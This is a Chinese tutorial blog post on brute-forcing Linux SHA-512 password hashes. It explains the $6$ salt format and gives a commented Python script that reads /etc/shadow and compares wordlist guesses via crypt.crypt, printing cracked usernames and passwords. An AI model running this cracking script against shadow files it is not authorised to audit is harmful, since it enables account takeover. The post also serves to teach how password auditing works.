linux密码暴力破解之SHA-512破解
linux密碼暴力破解
由于MD5加密已經(jīng)發(fā)展了很多年,現(xiàn)在市面上已經(jīng)積累了大量的MD5數(shù)據(jù),這樣,MD5的安全性也就受到了威脅,所以,從centos6.x版本開(kāi)始,系統(tǒng)密碼開(kāi)始采用SHA-512加密,與MD5加密相比,SHA-512加密后長(zhǎng)度更長(zhǎng),也就意味著SHA-512相比MD5更加安全.
密碼加密原理
在我們進(jìn)行密碼破解前,我們首先需要了解linux系統(tǒng)密碼加密的原理:
1. 密文由3部分組成,以”$”分隔,第一部分為ID,第二部分為鹽值,第三部分為加密密文
什么是ID?
ID用來(lái)表示加密的方法.
如下圖,
1表示加密方法使用MD5,1表示加密方法使用MD5,6表示加密方法使用SHA-512
什么是鹽值(salt)?
鹽值就是使用隨機(jī)字符碼混合密碼加密算法所產(chǎn)生的密碼,作用就是即使是同一個(gè)密碼,使用同一種加密方式,所產(chǎn)生的密文值也不同
如上面提到的密文示例:
什么是密文?
這個(gè)我就不多介紹了,同上面的密文示例
了解了原理,我們就可以使用工具來(lái)進(jìn)行密碼的暴力破解了
這里采用是利用python進(jìn)行破解.
需要用到python下的 crypt 這個(gè)庫(kù),這個(gè)庫(kù)下的.crypt方法可以根據(jù)猜想的密碼原文和鹽值來(lái)生成加密后的完整密文.
簡(jiǎn)單的講一下思路:
1.獲取到鹽值
2.將獲取的鹽值和猜想的密碼通過(guò)crypt.crypt()加密后生成的密文與系統(tǒng)中存儲(chǔ)的密文進(jìn)行對(duì)比,如果密文相同,則輸出對(duì)應(yīng)的用戶和密碼
環(huán)境準(zhǔn)備:
1.python
2./root/Desktop/wordlist.TXT 存放著我們的密碼字典
3./etc/shadow 存放著系統(tǒng)的密碼
附上詳細(xì)代碼和注釋,有不明的白的可以留言.
#!/usr/bin/env python #指定這是一個(gè)python文件,使用這個(gè)解釋器執(zhí)行 #-*- coding:utf-8 -*- #設(shè)定編碼格式,防止報(bào)錯(cuò) import crypt #調(diào)用crypt這個(gè)庫(kù)user_passfile = "/etc/shadow" #獲取系統(tǒng)密碼路徑 zidian = "/root/Desktop/wordlist.TXT" #獲取字典路徑#提取系統(tǒng)中的用戶名和密文 def get_pass(user_passfile): used = {} #定義一個(gè)空字典f=open(user_passfile,"r") #讀取系統(tǒng)密碼文件userline = f.readlines() #將該文件轉(zhuǎn)換為列表格式f.close() #關(guān)閉文件for i in userline: #遍歷列表里的內(nèi)容if len(i.split(":")[1]) > 3: #以":"分割,取第二個(gè)元素的長(zhǎng)度,也就是完整密文值的長(zhǎng)度,如果大于3,我們認(rèn)定它有密碼,把它取出來(lái)used[i.split(":")[0]]=i.split(":")[1] #我們將取出的密文給了相應(yīng)的用戶,這里的used[i.split(":")[0]]是字典的key,也就是系統(tǒng)中的用戶名,后面的i.split(":")[1]是用戶名后的加密密文return used #返回這個(gè)字典#提取我們密碼字典里的內(nèi)容 def look_d(zidian): f = open(zidian,'r') #讀取字典文件內(nèi)容mwlist = f.readlines() #將讀取的內(nèi)容轉(zhuǎn)換為列表f.close() #關(guān)閉文件return mwlist #返回這個(gè)列表#根據(jù)密文是否相同判斷出對(duì)應(yīng)的用戶和密碼 def main(user_passfile,zidian):used = get_pass(user_passfile) #調(diào)用自定義函數(shù)get_passmingwen = look_d(zidian) #調(diào)用自定義函數(shù)look_dfor user in used:passwd = used[user] #一次遍歷每個(gè)用戶的密文salt = "$6$"+passwd.split("$")[2] #獲取鹽值for passwdmw in mingwen: #遍歷系統(tǒng)中的每個(gè)完整密文if passwd == crypt.crypt(passwdmw.rstrip(),salt): #如果我們猜想的密文與系統(tǒng)中的密文相同,輸入它的用戶名和密碼print("userName:%s passWord:%s" %(user,passwdmw.rstrip())) if __name__ == "__main__":main(user_passfile,zidian) 超強(qiáng)干貨來(lái)襲 云風(fēng)專訪:近40年碼齡,通宵達(dá)旦的技術(shù)人生總結(jié)
以上是生活随笔為你收集整理的linux密码暴力破解之SHA-512破解的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 内网渗透--获取其他电脑相册
- 下一篇: linux中断响应时间太慢_linux+